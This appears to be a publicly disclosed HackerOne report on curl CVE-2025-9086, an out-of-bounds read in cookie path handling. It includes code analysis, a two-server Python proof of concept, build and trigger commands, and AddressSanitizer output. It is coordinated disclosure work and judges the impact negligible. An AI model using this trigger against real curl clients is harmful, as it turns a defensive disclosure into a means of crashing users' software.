HexBrain

curl · Report #3294999

CVE-2025-9086: Out of bounds read for cookie path

Validstatus
lowseverity
36upvotes
10 Sept 2025disclosed

How it was found

We are tracking this issue with the public ID BIGSLEEP-437903454. Please use this identifier for reference in any future communication.

Vulnerability Details

In the cookie support found in cookie.c, there's an out-of-bounds string comparison that results from a crafted sequence of cookie operations. When saving a new cookie, we check if it should replace an existing cookie for the same domain. We can see in the snippet below that if the previous cookie path is an empty string "", we'll skip over the NUL-terminator at [0] and read out-of-bounds when looking for a / in the previous cookie path.

static int
replace_existing(struct Curl_easy *data,
                 struct Cookie *co,
                 struct CookieInfo *ci,
                 bool secure,
                 bool *replacep)
{
  bool replace_old = FALSE;
  struct Curl_llist_node *replace_n = NULL;
  struct Curl_llist_node *n;
  size_t myhash = cookiehash(co->domain);
  for(n = Curl_llist_head(&ci->cookielist[myhash]); n; n = Curl_node_next(n)) {
    struct Cookie *clist = Curl_node_elem(n);
    if(!strcmp(clist->name, co->name)) {
      /* the names are identical */
      bool matching_domains = FALSE;

      if(clist->domain && co->domain) {
        if(curl_strequal(clist->domain, co->domain))
          /* The domains are identical */
          matching_domains = TRUE;
      }
      else if(!clist->domain && !co->domain)
        matching_domains = TRUE;

      if(matching_domains && /* the domains were identical */
         clist->spath && co->spath && /* both have paths */
         clist->secure && !co->secure && !secure) {
        size_t cllen;
        const char *sep;

        /*
         * A non-secure cookie may not overlay an existing secure cookie.
         * For an existing cookie "a" with path "/login", refuse a new
         * cookie "a" with for example path "/login/en", while the path
         * "/loginhelper" is ok.
         */

        sep = strchr(clist->spath + 1, '/'); // ***0***

        if(sep)
          cllen = sep - clist->spath;
        else
          cllen = strlen(clist->spath);

        if(curl_strnequal(clist->spath, co->spath, cllen)) {
          infof(data, "cookie '%s' for domain '%s' dropped, would "
                "overlay an existing cookie", co->name, co->domain);
          return CERR_BAD_SECURE;
        }
// ...

If we look at the cookie parsing code, we can see that clist->spath is set based on the result of sanitize_cookie_path [1].

static int
parse_cookie_header(struct Curl_easy *data,
                    struct Cookie *co,
                    struct CookieInfo *ci,
                    const char *ptr,
                    const char *domain, /* default domain */
                    const char *path,   /* full path used when this cookie is
                                           set, used to get default path for
                                           the cookie unless set */
                    bool secure)  /* TRUE if connection is over secure
                                     origin */
{

// ...

      else if(curlx_str_casecompare(&name, "path")) {
        strstore(&co->path, curlx_str(&val), curlx_strlen(&val));
        if(!co->path)
          return CERR_OUT_OF_MEMORY;
        free(co->spath); /* if this is set again */
        co->spath = sanitize_cookie_path(co->path); // ***1***
        if(!co->spath)
          return CERR_OUT_OF_MEMORY;
      }

// ...

In sanitize_cookie_path if the cookie_path argument is a string consisting of the single character '/' then at [2] we will remove the '/' at the end of the path, leaving us with an empty string "".


/*
 * cookie path sanitize
 */
static char *sanitize_cookie_path(const char *cookie_path)
{
  size_t len = strlen(cookie_path);

  /* some sites send path attribute within '"'. */
  if(cookie_path[0] == '\"') {
    cookie_path++;
    len--;
  }
  if(len && (cookie_path[len - 1] == '\"'))
    len--;

  /* RFC6265 5.2.4 The Path Attribute */
  if(cookie_path[0] != '/')
    /* Let cookie-path be the default-path. */
    return strdup("/");

  /* remove trailing slash */
  /* convert /hoge/ to /hoge */
  if(len && cookie_path[len - 1] == '/') // ***2***
    len--;

  return Curl_memdup0(cookie_path, len);
}

In order to reach the vulnerable code path at [0], we need to have a secure cookie set for the domain with an empty path, and then replace that cookie with a non-secure cookie. This can be arranged by first making an HTTPS request to a remote server that sets a Secure cookie with a path of / and then redirects to an HTTP server on the same domain which overwrites the cookie with a non-secure cookie.

Note that given the subsequent usage of sep, it doesn't look like there is currently any avenue by which out-of-bounds memory content could be leaked by an attacker.

Affected Version(s)

The issue has been successfully reproduced:

  • at HEAD (commit 89490b16c736f2ae2219a6f8b3638210a3cf4016)

  • in stable release 8.15.0

Reproduction

Triggering this issue requires both HTTPS and HTTP servers. Two python scripts have been provided to run those servers; you'll need to generate a self-signed certificate for use by the HTTPS server.

To simplify this, the reproduction commands use --insecure but this is not necessary.

Test Case

server.py

#! /usr/bin/python3

from http.server import BaseHTTPRequestHandler, HTTPServer
import socket
import ssl
import threading
import time

class HTTPSRequestHandler(BaseHTTPRequestHandler):
  def do_GET(self):
    self.send_response(302)
    self.send_header("Set-Cookie", "A=B; path=/; Secure")
    self.send_header("Location", f"http://{socket.gethostname()}:9080")
    self.end_headers()

class HTTPRequestHandler(BaseHTTPRequestHandler):
  def do_GET(self):
    self.send_response(200)
    self.send_header("Set-Cookie", "A=C; path=/foo/")
    self.end_headers()
    self.wfile.write(b"A" * 128)

def run_https_server():
  httpd = HTTPServer(('', 9443), HTTPSRequestHandler)
  ctx = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
  ctx.load_cert_chain(certfile='./cert.pem', keyfile="./key.pem")
  httpd.socket = ctx.wrap_socket(httpd.socket, server_side=True)
  httpd.serve_forever()

def run_http_server():
  httpd = HTTPServer(('', 9080), HTTPRequestHandler)
  httpd.serve_forever()

if __name__ == "__main__":
  https_thread = threading.Thread(target=run_https_server)
  http_thread = threading.Thread(target=run_http_server)
  https_thread.start()
  http_thread.start()

  while True:
    time.sleep(1)

Build Instructions

git clone https://github.com/curl/curl
cd curl
export CC=clang
export CXX=clang++
export CFLAGS="-fsanitize=address"
export CXXFLAGS="-fsanitize=address"
export LDFLAGS="-fsanitize=address"

./configure --with-openssl --disable-shared --enable-debug --enable-maintainer-mode
make -j$(nproc)

Command

Each set of commands needs to be run in a separate terminal.

Generate a self-signed certificate/key pair and launch the servers:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days 1 -nodes -subj "/C=XX/ST=StateName/L=CityName/O=CompanyName/OU=CompanySectionName/CN=CommonNameOrHostname"
python3 server.py

Make the request. Note that localhost has special treatment, so it is necessary to connect using the hostname (or to a remote server) to trigger this issue.

./src/curl --insecure -c cookies -vv -L https://$(hostname):9443

ASan Report

=================================================================
==3359244==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5030000522e1 at pc 0x55cc379a3530 bp 0x7ffd15ae2a40 sp 0x7ffd15ae2208
READ of size 9 at 0x5030000522e1 thread T0
    #0 0x55cc379a352f in strchr (/tmp/repro/curl/src/curl+0xd452f) (BuildId: 150a2cfdeb779bcaf8e8f8b4535765b7b922400d)
    #1 0x55cc37bf3b41 in replace_existing /tmp/repro/curl/lib/cookie.c:977:15
    #2 0x55cc37bef970 in Curl_cookie_add /tmp/repro/curl/lib/cookie.c:1124:6
    #3 0x55cc37c5f4eb in http_header_s /tmp/repro/curl/lib/http.c:3343:5
    #4 0x55cc37c5af7d in http_header /tmp/repro/curl/lib/http.c:3473:14
    #5 0x55cc37c50aa4 in http_rw_hd /tmp/repro/curl/lib/http.c:4123:12
    #6 0x55cc37c519c4 in http_parse_headers /tmp/repro/curl/lib/http.c:4235:14
    #7 0x55cc37c50d61 in Curl_http_write_resp_hds /tmp/repro/curl/lib/http.c:4292:14
    #8 0x55cc37c41050 in Curl_http_write_resp /tmp/repro/curl/lib/http.c:4316:12
    #9 0x55cc37b54acc in Curl_xfer_write_resp /tmp/repro/curl/lib/transfer.c:813:14
    #10 0x55cc37b506c0 in sendrecv_dl /tmp/repro/curl/lib/transfer.c:329:14
    #11 0x55cc37b4ecb7 in Curl_sendrecv /tmp/repro/curl/lib/transfer.c:405:14
    #12 0x55cc37b1541c in state_performing /tmp/repro/curl/lib/multi.c:1915:12
    #13 0x55cc37b08449 in multi_runsingle /tmp/repro/curl/lib/multi.c:2580:12
    #14 0x55cc37b06568 in curl_multi_perform /tmp/repro/curl/lib/multi.c:2766:18
    #15 0x55cc37acdd3a in easy_transfer /tmp/repro/curl/lib/easy.c:705:15
    #16 0x55cc37aca511 in easy_perform /tmp/repro/curl/lib/easy.c:813:42
    #17 0x55cc37ac9e26 in curl_easy_perform /tmp/repro/curl/lib/easy.c:831:10
    #18 0x55cc37aa37b9 in serial_transfers /tmp/repro/curl/src/tool_operate.c:1887:18
    #19 0x55cc37aa212a in run_all_transfers /tmp/repro/curl/src/tool_operate.c:2110:16
    #20 0x55cc37aa1b23 in operate /tmp/repro/curl/src/tool_operate.c:2249:22
    #21 0x55cc37aa00c7 in main /tmp/repro/curl/src/tool_main.c:199:14
    #22 0x7f56f9d04ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #23 0x7f56f9d04d64 in __libc_start_main csu/../csu/libc-start.c:360:3
    #24 0x55cc37987c50 in _start (/tmp/repro/curl/src/curl+0xb8c50) (BuildId: 150a2cfdeb779bcaf8e8f8b4535765b7b922400d)

0x5030000522e1 is located 0 bytes after 17-byte region [0x5030000522d0,0x5030000522e1)
allocated by thread T0 here:
    #0 0x55cc37a27a83 in malloc (/tmp/repro/curl/src/curl+0x158a83) (BuildId: 150a2cfdeb779bcaf8e8f8b4535765b7b922400d)
    #1 0x55cc37ae6a18 in curl_dbg_malloc /tmp/repro/curl/lib/memdebug.c:147:9
    #2 0x55cc37b4ce18 in Curl_memdup0 /tmp/repro/curl/lib/strdup.c:114:15
    #3 0x55cc37bf6a42 in sanitize_cookie_path /tmp/repro/curl/lib/cookie.c:304:10
    #4 0x55cc37bf0d44 in parse_cookie_header /tmp/repro/curl/lib/cookie.c:600:21
    #5 0x55cc37bef3de in Curl_cookie_add /tmp/repro/curl/lib/cookie.c:1081:10
    #6 0x55cc37c5f4eb in http_header_s /tmp/repro/curl/lib/http.c:3343:5
    #7 0x55cc37c5af7d in http_header /tmp/repro/curl/lib/http.c:3473:14
    #8 0x55cc37c50aa4 in http_rw_hd /tmp/repro/curl/lib/http.c:4123:12
    #9 0x55cc37c519c4 in http_parse_headers /tmp/repro/curl/lib/http.c:4235:14
    #10 0x55cc37c50d61 in Curl_http_write_resp_hds /tmp/repro/curl/lib/http.c:4292:14
    #11 0x55cc37c41050 in Curl_http_write_resp /tmp/repro/curl/lib/http.c:4316:12
    #12 0x55cc37b54acc in Curl_xfer_write_resp /tmp/repro/curl/lib/transfer.c:813:14
    #13 0x55cc37b506c0 in sendrecv_dl /tmp/repro/curl/lib/transfer.c:329:14
    #14 0x55cc37b4ecb7 in Curl_sendrecv /tmp/repro/curl/lib/transfer.c:405:14
    #15 0x55cc37b1541c in state_performing /tmp/repro/curl/lib/multi.c:1915:12
    #16 0x55cc37b08449 in multi_runsingle /tmp/repro/curl/lib/multi.c:2580:12
    #17 0x55cc37b06568 in curl_multi_perform /tmp/repro/curl/lib/multi.c:2766:18
    #18 0x55cc37acdd3a in easy_transfer /tmp/repro/curl/lib/easy.c:705:15
    #19 0x55cc37aca511 in easy_perform /tmp/repro/curl/lib/easy.c:813:42
    #20 0x55cc37ac9e26 in curl_easy_perform /tmp/repro/curl/lib/easy.c:831:10
    #21 0x55cc37aa37b9 in serial_transfers /tmp/repro/curl/src/tool_operate.c:1887:18
    #22 0x55cc37aa212a in run_all_transfers /tmp/repro/curl/src/tool_operate.c:2110:16
    #23 0x55cc37aa1b23 in operate /tmp/repro/curl/src/tool_operate.c:2249:22
    #24 0x55cc37aa00c7 in main /tmp/repro/curl/src/tool_main.c:199:14
    #25 0x7f56f9d04ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

SUMMARY: AddressSanitizer: heap-buffer-overflow (/tmp/repro/curl/src/curl+0xd452f) (BuildId: 150a2cfdeb779bcaf8e8f8b4535765b7b922400d) in strchr
Shadow bytes around the buggy address:
  0x503000052000: fd fd fd fd fa fa fd fd fd fa fa fa fd fd fd fd
  0x503000052080: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd
  0x503000052100: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa
  0x503000052180: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
  0x503000052200: fa fa fd fd fd fd fa fa 00 00 02 fa fa fa 00 00
=>0x503000052280: 02 fa fa fa 00 00 02 fa fa fa 00 00[01]fa fa fa
  0x503000052300: fd fd fd fa fa fa fd fd fd fd fa fa fd fd fd fa
  0x503000052380: fa fa fd fd fd fd fa fa fd fd fd fa fa fa fd fd
  0x503000052400: fd fa fa fa 00 00 05 fa fa fa 00 00 05 fa fa fa
  0x503000052480: fd fd fd fa fa fa 00 00 05 fa fa fa 00 00 01 fa
  0x503000052500: fa fa 00 00 01 fa fa fa 00 00 00 07 fa fa 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==3359244==ABORTING

Reporter Credit

Google Big Sleep

Disclosure Policy

Our assessment concluded that the finding outlined in this report has a negligible security impact. However, if your internal review indicates a greater risk to your users, please email [email protected] immediately to arrange a standard disclosure deadline.

Otherwise, in the interest of transparency, we will publish the details of this report on 2025-11-09.

For more information, visit https://goo.gle/bigsleep

Impact

Summary:

Although this vulnerability leads to a remotely-triggerable out-of-bounds read, it doesn't look like there is currently any avenue by which out-of-bounds memory content could be leaked by an attacker.

Our assessment concluded that the finding outlined in this report has a negligible security impact.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original